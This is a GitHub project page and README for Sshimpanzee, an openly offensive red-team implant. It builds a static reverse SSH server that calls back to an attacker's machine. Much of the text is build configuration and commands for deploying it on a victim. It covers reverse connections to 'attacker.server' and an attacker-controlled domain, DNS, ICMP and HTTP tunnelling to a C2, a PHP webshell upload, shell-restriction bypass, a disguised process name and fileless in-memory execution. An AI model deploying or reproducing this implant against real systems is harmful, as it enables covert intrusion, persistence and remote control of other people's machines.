https://github.com/lexfo/sshimpanzee
SSHD Based implant supporting tunneling mecanisms to reach the C2 (DNS, ICMP, HTTP Encapsulation, HTTP/Socks Proxies, UDP...)
https://github.com/lexfo/sshimpanzee
backdoor post-exploitation redteam reverse-shell tunneling
Last synced: 6 months ago
JSON representation
SSHD Based implant supporting tunneling mecanisms to reach the C2 (DNS, ICMP, HTTP Encapsulation, HTTP/Socks Proxies, UDP...)
- Host: GitHub
- URL: https://github.com/lexfo/sshimpanzee
- Owner: lexfo
- License: gpl-3.0
- Created: 2023-04-03T10:11:27.000Z (about 2 years ago)
- Default Branch: main
- Last Pushed: 2024-01-29T14:20:03.000Z (about 1 year ago)
- Last Synced: 2024-01-29T17:19:41.307Z (about 1 year ago)
- Topics: backdoor, post-exploitation, redteam, reverse-shell, tunneling
- Language: Python
- Homepage: https://blog.lexfo.fr/sshimpanzee.html
- Size: 140 KB
- Stars: 215
- Watchers: 5
- Forks: 25
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# Sshimpanzee
__Sshimpanzee__ allows you to build a __static *reverse* ssh server__.
Instead of listening on a port and waiting for connections, the ssh server will initiate a reverse connect to attacker's ip, just like a regular reverse shell.
__Sshimpanzee__ allows you to take advantage of __every features of a regular ssh__ connection, like __port forwards, dynamic socks proxies, or FTP server__.More importantly, if a direct connection from the victim machine to the attacker server is not possible, it provides different tunnelling mecanisms such as __DNS Tunnelling, ICMP Tunnelling, or HTTP Encapsulation__.
It also supports HTTP and SOCKS5 proxies.
A [technical paper](https://blog.lexfo.fr/sshimpanzee.html) is available on lexfo's blog.## DOCKER BUILD - RECOMMENDED
```
sudo docker build . --output .
sudo docker build . --platform arm64 --output .
```> You might need to enable env var DOCKER_BUILDKIT=1
### Compilation file
Build is made based on the build.yaml file:
```yaml
###
# This is sshimpanzee build configuration file
# YAML is used to describe what behaviour and feature should the sshimpanzee get
###### General config
process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)
banner: True # Should the banner be displayed at log
verbose: 3 # Verbosity level as written in build/build.logshell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell
timer: 60*1000*1000 # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is deadkeygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used
public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"make: True # Keep it to true if you want the builder script to generate sshd binary
force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances
reconf: True # Required for docker builds### Environment
# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behaviorenv:
if_not_set : # Variable here will be set if they do not already exists
REMOTE: 127.0.0.1
PORT: 8080
MODE: sock # MODE environment variable is used to manage the default tunnel
overwrite: # Variable here will overwrite already existent
### Tunnels
# sshimpanzee come with different tunneling mecanisms
# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels
# Tunnel compilation parameters can be specified here
tun:
sock:
enabled: Trueicmp:
enabled: True
buildserv: True # should the corresponding ICMPTunnel server be built
raw_sock: False # build with support for raw sock for older kernelshttp_enc :
enabled: True
key: # web shell key, empty will result in a new key being generated
target:
- "php" # list of language you want to generate webshells for
path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshellsdns:
enabled: True
resource: sshimpanzee # DNS2TCP Resource
key: sshimpanzee # DNS2TCP key
obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver
buildserv: False
qtype: TXT # Type of query used by DNS2TCPproxysock:
enabled: Trueno_build:
enabled: False
path: []# Openssh subsystems
# man sshd_config Subsystemssubsystems:
internal_sftp: # standard sftp as provided by openssh
enabled: True # It is required for scp and sftp
name: sftp
exec: internal-sftp
is_internal: True
remote_exec: # Sshimpanzee custom subsystem
enabled: True # remote execution using fileless memfd technique
name: remote-exec
exec: internal-remote-exec
is_internal: Truepython: # example of a stadard ssh subsystem
enabled: False
name: python
exec: /usr/bin/python -c "print('python code')"
is_internal: False
```## Usage
At runtime, sshimpanzee binary is configured through environment variable.
The `MODE` variable allows user to select between compiled tunnels.
Every tunnels can be configured through environment variables.
For example, to get a classic reverse connect to 127.0.0.1:8080 use the following:
```
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
```> It is possible to run sshimpanzee in debug mode with -d.
> In debug mode sshimpanzee will stay in foreground.### Tunnels
Currently sshimpanzee support several ways for the implant to reach out to the attacker ssh client:
- DNS Tunnelling using dns2tcp protocol
- Proxy : HTTP/SOCKS4/SOCKS5
- Sockets : (might be usefull if you want to implement your own tunnels)
- ICMP tunnel
- HTTP Encapsulation### Sock Connection
1) Run ssh on client side as follow:
```
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
```2) Run sshimpanzee on target :
```
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
```Other examples :
```
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee # bind and listen to 127.0.0.1:8080MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Connect to unix socket /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Bind and listen to /tmp/sock unix socket
```### Connection through proxy
1) Run ssh on client side as follow:```
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
```2) Run sshimpanzee on target :
```
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee
```Other examples:
```
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee```
### Use DNS Tunneling
1) On your server run the standard __dns2tcpd__ using the config file in this repo, you will need to modify the domain (and resource port if you want).
```
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain =
resources = sshimpanzee:127.0.0.1:8080
``````
sudo ./dns2tcpd -F -f dns2tcpdrc
```2) Run ssh on client side as follow:
```
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
```3) Run the sshimpanzee binary:
```
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee
```Other examples :
```
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Force the use of 8.8.8.8 DNS Resolver
```### Use ICMP Tunneling
1) Your server, add the correct capabilities to avoid running the proxycommand as root and disable ping response from the system
```
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
```2) Run the standard ssh client with icmptunnel as proxycommand:
```
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT
```3) Run the sshimpanzee binary:
```
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee
```### Use HTTP Encapsulation (ssh -> http server -> sshd)
1) Upload the file /tuns/http_enc/proxy.php and sshd files to your target web server
2) Make sure proxy.php is correctly executed
3) Run sshd binary on the webserver
```
MODE=http_enc ./sshimpanzee
```4) run ssh on client machine with python script in utils/scripts/ as proxy command :
```
ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT
```
> Multiple argument can be passed to proxy_cli.py to add proxies proxies.
> Currently only PHP is supported. On a JSP server, it is recommended to use: [A Black Path Toward The Sun (ABPTTS)](https://github.com/nccgroup/ABPTTS)#### Side notes about http Encapsulation
1) Proxy.php is a minimal webshell, you can use it to upload sshd to the server and run commands. proxy_cli.py offers --run and --drop options to do so.2) You might experience a huge input lag, it is because a delay of 1 to 5 second is added to the packet sent by ssh client to prevent from generating to many http request. If you don't mind generating a lot of http request (thus a lot of logs on the web server) add the --no-buffer option to proxy_cli.py command.
## Using the sshimpanzee client
This repo also provide a client located in __utils/client/bin__.
Simply copy the CLIENT key in utils/client/keys/
```
sshimpanzee --new PORT #create a new listener on PORT
sshimpanzee --new-dns #create a new DNS listener (Don't forget to modify utils/client/config/dnsconf.txt)
sshimpanzee --new-icmp #create a new icmp listener
sshimpanzee --new-http PROXY_PHP_URL #create a new HTTP Sessionsshimpanzee --list #list availaible sessions
sshimpanzee --get SESSION_NUMBER #to jump into a session any extra parameters are passed as ssh params
sshimpanzee --rename SESSION_NUMBER #to rename a session
sshimpanzee --kill SESSION_NUMBER #to kill a session
sshimpanzee #use fzf to select which session you want
```However it might be less reliable than using ssh directly.
## Create your own tunnel mecanism
Every tunnels are available in the tuns/ directory. If you want to add another tunnel, simply add a function with the name of your tunnel in tuns/builder.py. This function is responsible to generate a libtun.a archive containing as many .o as necessary with one of them exporting a tun() symbole.
Alternatively, you build the libtun.a yourself and use the tunnel called no_build, and provide the path to your custom libtun.a## Use the file less execution
If sshimpanzee is built with remote-exec subsystem module, it is possible to execute code remotely completely in memory.
```shpython remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1
```## Future Work
- Add other tunnels :
- HTTP Encapsulation (First step through http_enc and proxy.php : add JSP and other programs )
- Userland TCP/IP Stack with raw sock ?
- ICMP : Xor/Encrypt string to avoid detection in case of network analysis
- Subsystem for post exploitation:
- Procdump
- TCP Scan
## Thanks
This repository relies on a lot of different project.
- First of all, Openssh-portable (9.1) : https://github.com/openssh/openssh-portable
- The musl libc to build it statically : https://wiki.musl-libc.org/For the tunnels:
- Dns2tcp : https://github.com/alex-sector/dns2tcp
- icmptunnel (heavily modified to improve tunnel resiliency) : https://github.com/DhavalKapil/icmptunnel.git
- Proxysocket : https://github.com/brechtsanders/proxysocketIt is important to note that it is *not* a very original project, weaponizing ssh protocol has already been done several years ago:
- https://github.com/Marc-andreLabonte/blackbear
- https://github.com/Fahrj/reverse-ssh
- https://github.com/NHAS/reverse_ssh